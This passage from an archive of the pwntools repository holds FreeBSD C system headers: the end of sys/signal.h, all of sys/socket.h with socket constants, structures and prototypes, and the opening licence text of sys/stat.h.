/* Send signal to a kernel thread. */ #endif #endif /* __POSIX_VISIBLE >= 199309 */ #if __POSIX_VISIBLE >= 199309 || __XSI_VISIBLE typedef struct __siginfo { int si_signo; /* signal number */ int si_errno; /* errno association */ /* * Cause of signal, one of the SI_ macros or signal-specific * values, i.e. one of the FPE_... values for SIGFPE. This * value is equivalent to the second argument to an old-style * FreeBSD signal handler. */ int si_code; /* signal code */ __pid_t si_pid; /* sending process */ __uid_t si_uid; /* sender's ruid */ int si_status; /* exit value */ void *si_addr; /* faulting instruction */ union sigval si_value; /* signal value */ union { struct { int _trapno;/* machine specific trap code */ } _fault; struct { int _timerid; int _overrun; } _timer; struct { int _mqd; } _mesgq; struct { long _band; /* band event for SIGPOLL */ } _poll; /* was this ever used ? */ struct { long __spare1__; int __spare2__[7]; } __spare__; } _reason; } siginfo_t; #define si_trapno _reason._fault._trapno #define si_timerid _reason._timer._timerid #define si_overrun _reason._timer._overrun #define si_mqd _reason._mesgq._mqd #define si_band _reason._poll._band /** si_code **/ /* codes for SIGILL */ #define ILL_ILLOPC 1 /* Illegal opcode. */ #define ILL_ILLOPN 2 /* Illegal operand. */ #define ILL_ILLADR 3 /* Illegal addressing mode. */ #define ILL_ILLTRP 4 /* Illegal trap. */ #define ILL_PRVOPC 5 /* Privileged opcode. */ #define ILL_PRVREG 6 /* Privileged register. */ #define ILL_COPROC 7 /* Coprocessor error. */ #define ILL_BADSTK 8 /* Internal stack error. */ /* codes for SIGBUS */ #define BUS_ADRALN 1 /* Invalid address alignment. */ #define BUS_ADRERR 2 /* Nonexistent physical address. */ #define BUS_OBJERR 3 /* Object-specific hardware error. */ /* codes for SIGSEGV */ #define SEGV_MAPERR 1 /* Address not mapped to object. */ #define SEGV_ACCERR 2 /* Invalid permissions for mapped */ /* object. */ /* codes for SIGFPE */ #define FPE_INTOVF 1 /* Integer overflow. */ #define FPE_INTDIV 2 /* Integer divide by zero. */ #define FPE_FLTDIV 3 /* Floating point divide by zero. */ #define FPE_FLTOVF 4 /* Floating point overflow. */ #define FPE_FLTUND 5 /* Floating point underflow. */ #define FPE_FLTRES 6 /* Floating point inexact result. */ #define FPE_FLTINV 7 /* Invalid floating point operation. */ #define FPE_FLTSUB 8 /* Subscript out of range. */ /* codes for SIGTRAP */ #define TRAP_BRKPT 1 /* Process breakpoint. */ #define TRAP_TRACE 2 /* Process trace trap. */ #define TRAP_DTRACE 3 /* DTrace induced trap. */ /* codes for SIGCHLD */ #define CLD_EXITED 1 /* Child has exited */ #define CLD_KILLED 2 /* Child has terminated abnormally but */ /* did not create a core file */ #define CLD_DUMPED 3 /* Child has terminated abnormally and */ /* created a core file */ #define CLD_TRAPPED 4 /* Traced child has trapped */ #define CLD_STOPPED 5 /* Child has stopped */ #define CLD_CONTINUED 6 /* Stopped child has continued */ /* codes for SIGPOLL */ #define POLL_IN 1 /* Data input available */ #define POLL_OUT 2 /* Output buffers available */ #define POLL_MSG 3 /* Input message available */ #define POLL_ERR 4 /* I/O Error */ #define POLL_PRI 5 /* High priority input available */ #define POLL_HUP 6 /* Device disconnected */ #endif #if __POSIX_VISIBLE || __XSI_VISIBLE struct __siginfo; /* * Signal vector "template" used in sigaction call. */ struct sigaction { union { void (*__sa_handler)(int); void (*__sa_sigaction)(int, struct __siginfo *, void *); } __sigaction_u; /* signal handler */ int sa_flags; /* see signal options below */ sigset_t sa_mask; /* signal mask to apply */ }; #define sa_handler __sigaction_u.__sa_handler #endif #if __XSI_VISIBLE /* If SA_SIGINFO is set, sa_sigaction must be used instead of sa_handler. */ #define sa_sigaction __sigaction_u.__sa_sigaction #endif #if __POSIX_VISIBLE || __XSI_VISIBLE #define SA_NOCLDSTOP 0x0008 /* do not generate SIGCHLD on child stop */ #endif /* __POSIX_VISIBLE || __XSI_VISIBLE */ #if __XSI_VISIBLE #define SA_ONSTACK 0x0001 /* take signal on signal stack */ #define SA_RESTART 0x0002 /* restart system call on signal return */ #define SA_RESETHAND 0x0004 /* reset to SIG_DFL when taking signal */ #define SA_NODEFER 0x0010 /* don't mask the signal we're delivering */ #define SA_NOCLDWAIT 0x0020 /* don't keep zombies around */ #define SA_SIGINFO 0x0040 /* signal handler with SA_SIGINFO args */ #endif #if __BSD_VISIBLE #define NSIG 32 /* number of old signals (counting 0) */ #endif #if __POSIX_VISIBLE || __XSI_VISIBLE #define SI_NOINFO 0 /* No signal info besides si_signo. */ #define SI_USER 0x10001 /* Signal sent by kill(). */ #define SI_QUEUE 0x10002 /* Signal sent by the sigqueue(). */ #define SI_TIMER 0x10003 /* Signal generated by expiration of */ /* a timer set by timer_settime(). */ #define SI_ASYNCIO 0x10004 /* Signal generated by completion of */ /* an asynchronous I/O request.*/ #define SI_MESGQ 0x10005 /* Signal generated by arrival of a */ /* message on an empty message queue. */ #define SI_KERNEL 0x10006 #define SI_LWP 0x10007 /* Signal sent by thr_kill */ #endif #if __BSD_VISIBLE #define SI_UNDEFINED 0 #endif #if __BSD_VISIBLE typedef __sighandler_t *sig_t; /* type of pointer to a signal function */ typedef void __siginfohandler_t(int, struct __siginfo *, void *); #endif #if __XSI_VISIBLE /* * Structure used in sigaltstack call. */ #if __BSD_VISIBLE typedef struct sigaltstack { #else typedef struct { #endif char *ss_sp; /* signal stack base */ __size_t ss_size; /* signal stack length */ int ss_flags; /* SS_DISABLE and/or SS_ONSTACK */ } stack_t; #define SS_ONSTACK 0x0001 /* take signal on alternate stack */ #define SS_DISABLE 0x0004 /* disable taking signals on alternate stack */ #define MINSIGSTKSZ __MINSIGSTKSZ /* minimum stack size */ #define SIGSTKSZ (MINSIGSTKSZ + 32768) /* recommended stack size */ #endif #if __BSD_VISIBLE /* * 4.3 compatibility: * Signal vector "template" used in sigvec call. */ struct sigvec { __sighandler_t *sv_handler; /* signal handler */ int sv_mask; /* signal mask to apply */ int sv_flags; /* see signal options below */ }; #define SV_ONSTACK SA_ONSTACK #define SV_INTERRUPT SA_RESTART /* same bit, opposite sense */ #define SV_RESETHAND SA_RESETHAND #define SV_NODEFER SA_NODEFER #define SV_NOCLDSTOP SA_NOCLDSTOP #define SV_SIGINFO SA_SIGINFO #define sv_onstack sv_flags /* isn't compatibility wonderful! */ #endif /* Keep this in one place only */ #if defined(_KERNEL) && defined(COMPAT_43) && \ !defined(__i386__) struct osigcontext { int _not_used; }; #endif #if __XSI_VISIBLE /* * Structure used in sigstack call. */ struct sigstack { /* XXX ss_sp's type should be `void *'. */ char *ss_sp; /* signal stack pointer */ int ss_onstack; /* current status */ }; #endif #if __BSD_VISIBLE || __POSIX_VISIBLE > 0 && __POSIX_VISIBLE <= 200112 /* * Macro for converting signal number to a mask suitable for * sigblock(). */ #define sigmask(m) (1 << ((m)-1)) #endif #if __BSD_VISIBLE #define BADSIG SIG_ERR #endif #if __POSIX_VISIBLE || __XSI_VISIBLE /* * Flags for sigprocmask: */ #define SIG_BLOCK 1 /* block specified signal set */ #define SIG_UNBLOCK 2 /* unblock specified signal set */ #define SIG_SETMASK 3 /* set specified signal set */ #endif /* * For historical reasons; programs expect signal's return value to be * defined by . */ __BEGIN_DECLS __sighandler_t *signal(int, __sighandler_t *); __END_DECLS #endif /* !_SYS_SIGNAL_H_ */ Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/freebsd/sys/socket.h000066400000000000000000000515051507273764500301010ustar00rootroot00000000000000/*- * Copyright (c) 1982, 1985, 1986, 1988, 1993, 1994 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * @(#)socket.h 8.4 (Berkeley) 2/21/94 * $FreeBSD$ */ #ifndef _SYS_SOCKET_H_ #define _SYS_SOCKET_H_ #include #include #include #include /* * Definitions related to sockets: types, address families, options. */ /* * Data types. */ #if __BSD_VISIBLE #ifndef _GID_T_DECLARED typedef __gid_t gid_t; #define _GID_T_DECLARED #endif #ifndef _OFF_T_DECLARED typedef __off_t off_t; #define _OFF_T_DECLARED #endif #ifndef _PID_T_DECLARED typedef __pid_t pid_t; #define _PID_T_DECLARED #endif #endif #ifndef _SA_FAMILY_T_DECLARED typedef __sa_family_t sa_family_t; #define _SA_FAMILY_T_DECLARED #endif #ifndef _SOCKLEN_T_DECLARED typedef __socklen_t socklen_t; #define _SOCKLEN_T_DECLARED #endif #ifndef _SSIZE_T_DECLARED typedef __ssize_t ssize_t; #define _SSIZE_T_DECLARED #endif #if __BSD_VISIBLE #ifndef _UID_T_DECLARED typedef __uid_t uid_t; #define _UID_T_DECLARED #endif #endif /* * Types */ #define SOCK_STREAM 1 /* stream socket */ #define SOCK_DGRAM 2 /* datagram socket */ #define SOCK_RAW 3 /* raw-protocol interface */ #if __BSD_VISIBLE #define SOCK_RDM 4 /* reliably-delivered message */ #endif #define SOCK_SEQPACKET 5 /* sequenced packet stream */ /* * Option flags per-socket. */ #define SO_DEBUG 0x0001 /* turn on debugging info recording */ #define SO_ACCEPTCONN 0x0002 /* socket has had listen() */ #define SO_REUSEADDR 0x0004 /* allow local address reuse */ #define SO_KEEPALIVE 0x0008 /* keep connections alive */ #define SO_DONTROUTE 0x0010 /* just use interface addresses */ #define SO_BROADCAST 0x0020 /* permit sending of broadcast msgs */ #if __BSD_VISIBLE #define SO_USELOOPBACK 0x0040 /* bypass hardware when possible */ #endif #define SO_LINGER 0x0080 /* linger on close if data present */ #define SO_OOBINLINE 0x0100 /* leave received OOB data in line */ #if __BSD_VISIBLE #define SO_REUSEPORT 0x0200 /* allow local address & port reuse */ #define SO_TIMESTAMP 0x0400 /* timestamp received dgram traffic */ #define SO_NOSIGPIPE 0x0800 /* no SIGPIPE from EPIPE */ #define SO_ACCEPTFILTER 0x1000 /* there is an accept filter */ #define SO_BINTIME 0x2000 /* timestamp received dgram traffic */ #endif #define SO_NO_OFFLOAD 0x4000 /* socket cannot be offloaded */ #define SO_NO_DDP 0x8000 /* disable direct data placement */ /* * Additional options, not kept in so_options. */ #define SO_SNDBUF 0x1001 /* send buffer size */ #define SO_RCVBUF 0x1002 /* receive buffer size */ #define SO_SNDLOWAT 0x1003 /* send low-water mark */ #define SO_RCVLOWAT 0x1004 /* receive low-water mark */ #define SO_SNDTIMEO 0x1005 /* send timeout */ #define SO_RCVTIMEO 0x1006 /* receive timeout */ #define SO_ERROR 0x1007 /* get error status and clear */ #define SO_TYPE 0x1008 /* get socket type */ #if __BSD_VISIBLE #define SO_LABEL 0x1009 /* socket's MAC label */ #define SO_PEERLABEL 0x1010 /* socket's peer's MAC label */ #define SO_LISTENQLIMIT 0x1011 /* socket's backlog limit */ #define SO_LISTENQLEN 0x1012 /* socket's complete queue length */ #define SO_LISTENINCQLEN 0x1013 /* socket's incomplete queue length */ #define SO_SETFIB 0x1014 /* use this FIB to route */ #define SO_USER_COOKIE 0x1015 /* user cookie (dummynet etc.) */ #define SO_PROTOCOL 0x1016 /* get socket protocol (Linux name) */ #define SO_PROTOTYPE SO_PROTOCOL /* alias for SO_PROTOCOL (SunOS name) */ #endif /* * Space reserved for new socket options added by third-party vendors. * This range applies to all socket option levels. New socket options * in FreeBSD should always use an option value less than SO_VENDOR. */ #if __BSD_VISIBLE #define SO_VENDOR 0x80000000 #endif /* * Structure used for manipulating linger option. */ struct linger { int l_onoff; /* option on/off */ int l_linger; /* linger time */ }; #if __BSD_VISIBLE struct accept_filter_arg { char af_name[16]; char af_arg[256-16]; }; #endif /* * Level number for (get/set)sockopt() to apply to socket itself. */ #define SOL_SOCKET 0xffff /* options for socket level */ /* * Address families. */ #define AF_UNSPEC 0 /* unspecified */ #if __BSD_VISIBLE #define AF_LOCAL AF_UNIX /* local to host (pipes, portals) */ #endif #define AF_UNIX 1 /* standardized name for AF_LOCAL */ #define AF_INET 2 /* internetwork: UDP, TCP, etc. */ #if __BSD_VISIBLE #define AF_IMPLINK 3 /* arpanet imp addresses */ #define AF_PUP 4 /* pup protocols: e.g. BSP */ #define AF_CHAOS 5 /* mit CHAOS protocols */ #define AF_NETBIOS 6 /* SMB protocols */ #define AF_ISO 7 /* ISO protocols */ #define AF_OSI AF_ISO #define AF_ECMA 8 /* European computer manufacturers */ #define AF_DATAKIT 9 /* datakit protocols */ #define AF_CCITT 10 /* CCITT protocols, X.25 etc */ #define AF_SNA 11 /* IBM SNA */ #define AF_DECnet 12 /* DECnet */ #define AF_DLI 13 /* DEC Direct data link interface */ #define AF_LAT 14 /* LAT */ #define AF_HYLINK 15 /* NSC Hyperchannel */ #define AF_APPLETALK 16 /* Apple Talk */ #define AF_ROUTE 17 /* Internal Routing Protocol */ #define AF_LINK 18 /* Link layer interface */ #define pseudo_AF_XTP 19 /* eXpress Transfer Protocol (no AF) */ #define AF_COIP 20 /* connection-oriented IP, aka ST II */ #define AF_CNT 21 /* Computer Network Technology */ #define pseudo_AF_RTIP 22 /* Help Identify RTIP packets */ #define AF_IPX 23 /* Novell Internet Protocol */ #define AF_SIP 24 /* Simple Internet Protocol */ #define pseudo_AF_PIP 25 /* Help Identify PIP packets */ #define AF_ISDN 26 /* Integrated Services Digital Network*/ #define AF_E164 AF_ISDN /* CCITT E.164 recommendation */ #define pseudo_AF_KEY 27 /* Internal key-management function */ #endif #define AF_INET6 28 /* IPv6 */ #if __BSD_VISIBLE #define AF_NATM 29 /* native ATM access */ #define AF_ATM 30 /* ATM */ #define pseudo_AF_HDRCMPLT 31 /* Used by BPF to not rewrite headers * in interface output routine */ #define AF_NETGRAPH 32 /* Netgraph sockets */ #define AF_SLOW 33 /* 802.3ad slow protocol */ #define AF_SCLUSTER 34 /* Sitara cluster protocol */ #define AF_ARP 35 #define AF_BLUETOOTH 36 /* Bluetooth sockets */ #define AF_IEEE80211 37 /* IEEE 802.11 protocol */ #define AF_MAX 38 /* * When allocating a new AF_ constant, please only allocate * even numbered constants for FreeBSD until 134 as odd numbered AF_ * constants 39-133 are now reserved for vendors. */ #define AF_VENDOR00 39 #define AF_VENDOR01 41 #define AF_VENDOR02 43 #define AF_VENDOR03 45 #define AF_VENDOR04 47 #define AF_VENDOR05 49 #define AF_VENDOR06 51 #define AF_VENDOR07 53 #define AF_VENDOR08 55 #define AF_VENDOR09 57 #define AF_VENDOR10 59 #define AF_VENDOR11 61 #define AF_VENDOR12 63 #define AF_VENDOR13 65 #define AF_VENDOR14 67 #define AF_VENDOR15 69 #define AF_VENDOR16 71 #define AF_VENDOR17 73 #define AF_VENDOR18 75 #define AF_VENDOR19 77 #define AF_VENDOR20 79 #define AF_VENDOR21 81 #define AF_VENDOR22 83 #define AF_VENDOR23 85 #define AF_VENDOR24 87 #define AF_VENDOR25 89 #define AF_VENDOR26 91 #define AF_VENDOR27 93 #define AF_VENDOR28 95 #define AF_VENDOR29 97 #define AF_VENDOR30 99 #define AF_VENDOR31 101 #define AF_VENDOR32 103 #define AF_VENDOR33 105 #define AF_VENDOR34 107 #define AF_VENDOR35 109 #define AF_VENDOR36 111 #define AF_VENDOR37 113 #define AF_VENDOR38 115 #define AF_VENDOR39 117 #define AF_VENDOR40 119 #define AF_VENDOR41 121 #define AF_VENDOR42 123 #define AF_VENDOR43 125 #define AF_VENDOR44 127 #define AF_VENDOR45 129 #define AF_VENDOR46 131 #define AF_VENDOR47 133 #endif /* * Structure used by kernel to store most * addresses. */ struct sockaddr { unsigned char sa_len; /* total length */ sa_family_t sa_family; /* address family */ char sa_data[14]; /* actually longer; address value */ }; #if __BSD_VISIBLE #define SOCK_MAXADDRLEN 255 /* longest possible addresses */ /* * Structure used by kernel to pass protocol * information in raw sockets. */ struct sockproto { unsigned short sp_family; /* address family */ unsigned short sp_protocol; /* protocol */ }; #endif #include #if __BSD_VISIBLE /* * Protocol families, same as address families for now. */ #define PF_UNSPEC AF_UNSPEC #define PF_LOCAL AF_LOCAL #define PF_UNIX PF_LOCAL /* backward compatibility */ #define PF_INET AF_INET #define PF_IMPLINK AF_IMPLINK #define PF_PUP AF_PUP #define PF_CHAOS AF_CHAOS #define PF_NETBIOS AF_NETBIOS #define PF_ISO AF_ISO #define PF_OSI AF_ISO #define PF_ECMA AF_ECMA #define PF_DATAKIT AF_DATAKIT #define PF_CCITT AF_CCITT #define PF_SNA AF_SNA #define PF_DECnet AF_DECnet #define PF_DLI AF_DLI #define PF_LAT AF_LAT #define PF_HYLINK AF_HYLINK #define PF_APPLETALK AF_APPLETALK #define PF_ROUTE AF_ROUTE #define PF_LINK AF_LINK #define PF_XTP pseudo_AF_XTP /* really just proto family, no AF */ #define PF_COIP AF_COIP #define PF_CNT AF_CNT #define PF_SIP AF_SIP #define PF_IPX AF_IPX #define PF_RTIP pseudo_AF_RTIP /* same format as AF_INET */ #define PF_PIP pseudo_AF_PIP #define PF_ISDN AF_ISDN #define PF_KEY pseudo_AF_KEY #define PF_INET6 AF_INET6 #define PF_NATM AF_NATM #define PF_ATM AF_ATM #define PF_NETGRAPH AF_NETGRAPH #define PF_SLOW AF_SLOW #define PF_SCLUSTER AF_SCLUSTER #define PF_ARP AF_ARP #define PF_BLUETOOTH AF_BLUETOOTH #define PF_MAX AF_MAX /* * Definitions for network related sysctl, CTL_NET. * * Second level is protocol family. * Third level is protocol number. * * Further levels are defined by the individual families below. */ #define NET_MAXID AF_MAX #define CTL_NET_NAMES { \ { 0, 0 }, \ { "unix", CTLTYPE_NODE }, \ { "inet", CTLTYPE_NODE }, \ { "implink", CTLTYPE_NODE }, \ { "pup", CTLTYPE_NODE }, \ { "chaos", CTLTYPE_NODE }, \ { "xerox_ns", CTLTYPE_NODE }, \ { "iso", CTLTYPE_NODE }, \ { "emca", CTLTYPE_NODE }, \ { "datakit", CTLTYPE_NODE }, \ { "ccitt", CTLTYPE_NODE }, \ { "ibm_sna", CTLTYPE_NODE }, \ { "decnet", CTLTYPE_NODE }, \ { "dec_dli", CTLTYPE_NODE }, \ { "lat", CTLTYPE_NODE }, \ { "hylink", CTLTYPE_NODE }, \ { "appletalk", CTLTYPE_NODE }, \ { "route", CTLTYPE_NODE }, \ { "link_layer", CTLTYPE_NODE }, \ { "xtp", CTLTYPE_NODE }, \ { "coip", CTLTYPE_NODE }, \ { "cnt", CTLTYPE_NODE }, \ { "rtip", CTLTYPE_NODE }, \ { "ipx", CTLTYPE_NODE }, \ { "sip", CTLTYPE_NODE }, \ { "pip", CTLTYPE_NODE }, \ { "isdn", CTLTYPE_NODE }, \ { "key", CTLTYPE_NODE }, \ { "inet6", CTLTYPE_NODE }, \ { "natm", CTLTYPE_NODE }, \ { "atm", CTLTYPE_NODE }, \ { "hdrcomplete", CTLTYPE_NODE }, \ { "netgraph", CTLTYPE_NODE }, \ { "snp", CTLTYPE_NODE }, \ { "scp", CTLTYPE_NODE }, \ } /* * PF_ROUTE - Routing table * * Three additional levels are defined: * Fourth: address family, 0 is wildcard * Fifth: type of info, defined below * Sixth: flag(s) to mask with for NET_RT_FLAGS */ #define NET_RT_DUMP 1 /* dump; may limit to a.f. */ #define NET_RT_FLAGS 2 /* by flags, e.g. RESOLVING */ #define NET_RT_IFLIST 3 /* survey interface list */ #define NET_RT_IFMALIST 4 /* return multicast address list */ #define NET_RT_IFLISTL 5 /* Survey interface list, using 'l'en * versions of msghdr structs. */ #define NET_RT_MAXID 6 #define CTL_NET_RT_NAMES { \ { 0, 0 }, \ { "dump", CTLTYPE_STRUCT }, \ { "flags", CTLTYPE_STRUCT }, \ { "iflist", CTLTYPE_STRUCT }, \ { "ifmalist", CTLTYPE_STRUCT }, \ { "iflistl", CTLTYPE_STRUCT }, \ } #endif /* __BSD_VISIBLE */ /* * Maximum queue length specifiable by listen. */ #define SOMAXCONN 128 /* * Message header for recvmsg and sendmsg calls. * Used value-result for recvmsg, value only for sendmsg. */ struct msghdr { void *msg_name; /* optional address */ socklen_t msg_namelen; /* size of address */ struct iovec *msg_iov; /* scatter/gather array */ int msg_iovlen; /* # elements in msg_iov */ void *msg_control; /* ancillary data, see below */ socklen_t msg_controllen; /* ancillary data buffer len */ int msg_flags; /* flags on received message */ }; #define MSG_OOB 0x1 /* process out-of-band data */ #define MSG_PEEK 0x2 /* peek at incoming message */ #define MSG_DONTROUTE 0x4 /* send without using routing tables */ #define MSG_EOR 0x8 /* data completes record */ #define MSG_TRUNC 0x10 /* data discarded before delivery */ #define MSG_CTRUNC 0x20 /* control data lost before delivery */ #define MSG_WAITALL 0x40 /* wait for full request or error */ #define MSG_NOTIFICATION 0x2000 /* SCTP notification */ #if __BSD_VISIBLE #define MSG_DONTWAIT 0x80 /* this message should be nonblocking */ #define MSG_EOF 0x100 /* data completes connection */ #define MSG_NBIO 0x4000 /* FIONBIO mode, used by fifofs */ #define MSG_COMPAT 0x8000 /* used in sendit() */ #endif #ifdef _KERNEL #define MSG_SOCALLBCK 0x10000 /* for use by socket callbacks - soreceive (TCP) */ #endif #if __BSD_VISIBLE #define MSG_NOSIGNAL 0x20000 /* do not generate SIGPIPE on EOF */ #endif /* * Header for ancillary data objects in msg_control buffer. * Used for additional information with/about a datagram * not expressible by flags. The format is a sequence * of message elements headed by cmsghdr structures. */ struct cmsghdr { socklen_t cmsg_len; /* data byte count, including hdr */ int cmsg_level; /* originating protocol */ int cmsg_type; /* protocol-specific type */ /* followed by u_char cmsg_data[]; */ }; #if __BSD_VISIBLE /* * While we may have more groups than this, the cmsgcred struct must * be able to fit in an mbuf and we have historically supported a * maximum of 16 groups. */ #define CMGROUP_MAX 16 /* * Credentials structure, used to verify the identity of a peer * process that has sent us a message. This is allocated by the * peer process but filled in by the kernel. This prevents the * peer from lying about its identity. (Note that cmcred_groups[0] * is the effective GID.) */ struct cmsgcred { pid_t cmcred_pid; /* PID of sending process */ uid_t cmcred_uid; /* real UID of sending process */ uid_t cmcred_euid; /* effective UID of sending process */ gid_t cmcred_gid; /* real GID of sending process */ short cmcred_ngroups; /* number or groups */ gid_t cmcred_groups[CMGROUP_MAX]; /* groups */ }; /* * Socket credentials. */ struct sockcred { uid_t sc_uid; /* real user id */ uid_t sc_euid; /* effective user id */ gid_t sc_gid; /* real group id */ gid_t sc_egid; /* effective group id */ int sc_ngroups; /* number of supplemental groups */ gid_t sc_groups[1]; /* variable length */ }; /* * Compute size of a sockcred structure with groups. */ #define SOCKCREDSIZE(ngrps) \ (sizeof(struct sockcred) + (sizeof(gid_t) * ((ngrps) - 1))) #endif /* __BSD_VISIBLE */ /* given pointer to struct cmsghdr, return pointer to data */ #define CMSG_DATA(cmsg) ((unsigned char *)(cmsg) + \ _ALIGN(sizeof(struct cmsghdr))) /* given pointer to struct cmsghdr, return pointer to next cmsghdr */ #define CMSG_NXTHDR(mhdr, cmsg) \ ((char *)(cmsg) == NULL ? CMSG_FIRSTHDR(mhdr) : \ ((char *)(cmsg) + _ALIGN(((struct cmsghdr *)(cmsg))->cmsg_len) + \ _ALIGN(sizeof(struct cmsghdr)) > \ (char *)(mhdr)->msg_control + (mhdr)->msg_controllen) ? \ (struct cmsghdr *)0 : \ (struct cmsghdr *)(void *)((char *)(cmsg) + \ _ALIGN(((struct cmsghdr *)(cmsg))->cmsg_len))) /* * RFC 2292 requires to check msg_controllen, in case that the kernel returns * an empty list for some reasons. */ #define CMSG_FIRSTHDR(mhdr) \ ((mhdr)->msg_controllen >= sizeof(struct cmsghdr) ? \ (struct cmsghdr *)(mhdr)->msg_control : \ (struct cmsghdr *)NULL) #if __BSD_VISIBLE /* RFC 2292 additions */ #define CMSG_SPACE(l) (_ALIGN(sizeof(struct cmsghdr)) + _ALIGN(l)) #define CMSG_LEN(l) (_ALIGN(sizeof(struct cmsghdr)) + (l)) #endif #ifdef _KERNEL #define CMSG_ALIGN(n) _ALIGN(n) #endif /* "Socket"-level control message types: */ #define SCM_RIGHTS 0x01 /* access rights (array of int) */ #if __BSD_VISIBLE #define SCM_TIMESTAMP 0x02 /* timestamp (struct timeval) */ #define SCM_CREDS 0x03 /* process creds (struct cmsgcred) */ #define SCM_BINTIME 0x04 /* timestamp (struct bintime) */ #endif #if __BSD_VISIBLE /* * 4.3 compat sockaddr, move to compat file later */ struct osockaddr { unsigned short sa_family; /* address family */ char sa_data[14]; /* up to 14 bytes of direct address */ }; /* * 4.3-compat message header (move to compat file later). */ struct omsghdr { char *msg_name; /* optional address */ int msg_namelen; /* size of address */ struct iovec *msg_iov; /* scatter/gather array */ int msg_iovlen; /* # elements in msg_iov */ char *msg_accrights; /* access rights sent/received */ int msg_accrightslen; }; #endif /* * howto arguments for shutdown(2), specified by Posix.1g. */ #define SHUT_RD 0 /* shut down the reading side */ #define SHUT_WR 1 /* shut down the writing side */ #define SHUT_RDWR 2 /* shut down both sides */ /* we cheat and use the SHUT_XX defines for these */ #define PRU_FLUSH_RD SHUT_RD #define PRU_FLUSH_WR SHUT_WR #define PRU_FLUSH_RDWR SHUT_RDWR #if __BSD_VISIBLE /* * sendfile(2) header/trailer struct */ struct sf_hdtr { struct iovec *headers; /* pointer to an array of header struct iovec's */ int hdr_cnt; /* number of header iovec's */ struct iovec *trailers; /* pointer to an array of trailer struct iovec's */ int trl_cnt; /* number of trailer iovec's */ }; /* * Sendfile-specific flag(s) */ #define SF_NODISKIO 0x00000001 #define SF_MNOWAIT 0x00000002 #define SF_SYNC 0x00000004 #endif #ifndef _KERNEL #include __BEGIN_DECLS int accept(int, struct sockaddr * __restrict, socklen_t * __restrict); int bind(int, const struct sockaddr *, socklen_t); int connect(int, const struct sockaddr *, socklen_t); int getpeername(int, struct sockaddr * __restrict, socklen_t * __restrict); int getsockname(int, struct sockaddr * __restrict, socklen_t * __restrict); int getsockopt(int, int, int, void * __restrict, socklen_t * __restrict); int listen(int, int); ssize_t recv(int, void *, size_t, int); ssize_t recvfrom(int, void *, size_t, int, struct sockaddr * __restrict, socklen_t * __restrict); ssize_t recvmsg(int, struct msghdr *, int); ssize_t send(int, const void *, size_t, int); ssize_t sendto(int, const void *, size_t, int, const struct sockaddr *, socklen_t); ssize_t sendmsg(int, const struct msghdr *, int); #if __BSD_VISIBLE int sendfile(int, int, off_t, size_t, struct sf_hdtr *, off_t *, int); int setfib(int); #endif int setsockopt(int, int, int, const void *, socklen_t); int shutdown(int, int); int sockatmark(int); int socket(int, int, int); int socketpair(int, int, int, int *); __END_DECLS #endif /* !_KERNEL */ #ifdef _KERNEL struct socket; struct tcpcb *so_sototcpcb(struct socket *so); struct inpcb *so_sotoinpcb(struct socket *so); struct sockbuf *so_sockbuf_snd(struct socket *); struct sockbuf *so_sockbuf_rcv(struct socket *); int so_state_get(const struct socket *); void so_state_set(struct socket *, int); int so_options_get(const struct socket *); void so_options_set(struct socket *, int); int so_error_get(const struct socket *); void so_error_set(struct socket *, int); int so_linger_get(const struct socket *); void so_linger_set(struct socket *, int); struct protosw *so_protosw_get(const struct socket *); void so_protosw_set(struct socket *, struct protosw *); void so_sorwakeup_locked(struct socket *so); void so_sowwakeup_locked(struct socket *so); void so_sorwakeup(struct socket *so); void so_sowwakeup(struct socket *so); void so_lock(struct socket *so); void so_unlock(struct socket *so); void so_listeners_apply_all(struct socket *so, void (*func)(struct socket *, void *), void *arg); #endif #endif /* !_SYS_SOCKET_H_ */ Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/freebsd/sys/stat.h000066400000000000000000000257461507273764500275740ustar00rootroot00000000000000/*- * Copyright (c) 1982, 1986, 1989, 1993 * The Regents of the University of California. All rights reserved. * (c) UNIX System Laboratories, Inc. * All or some portions of this file are derived from material licensed * to the University of California by American Telephone and Telegraph * Co. or Unix System Laboratories, Inc. and are reproduced herein with * the permission of UNIX System Laboratories, Inc. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED 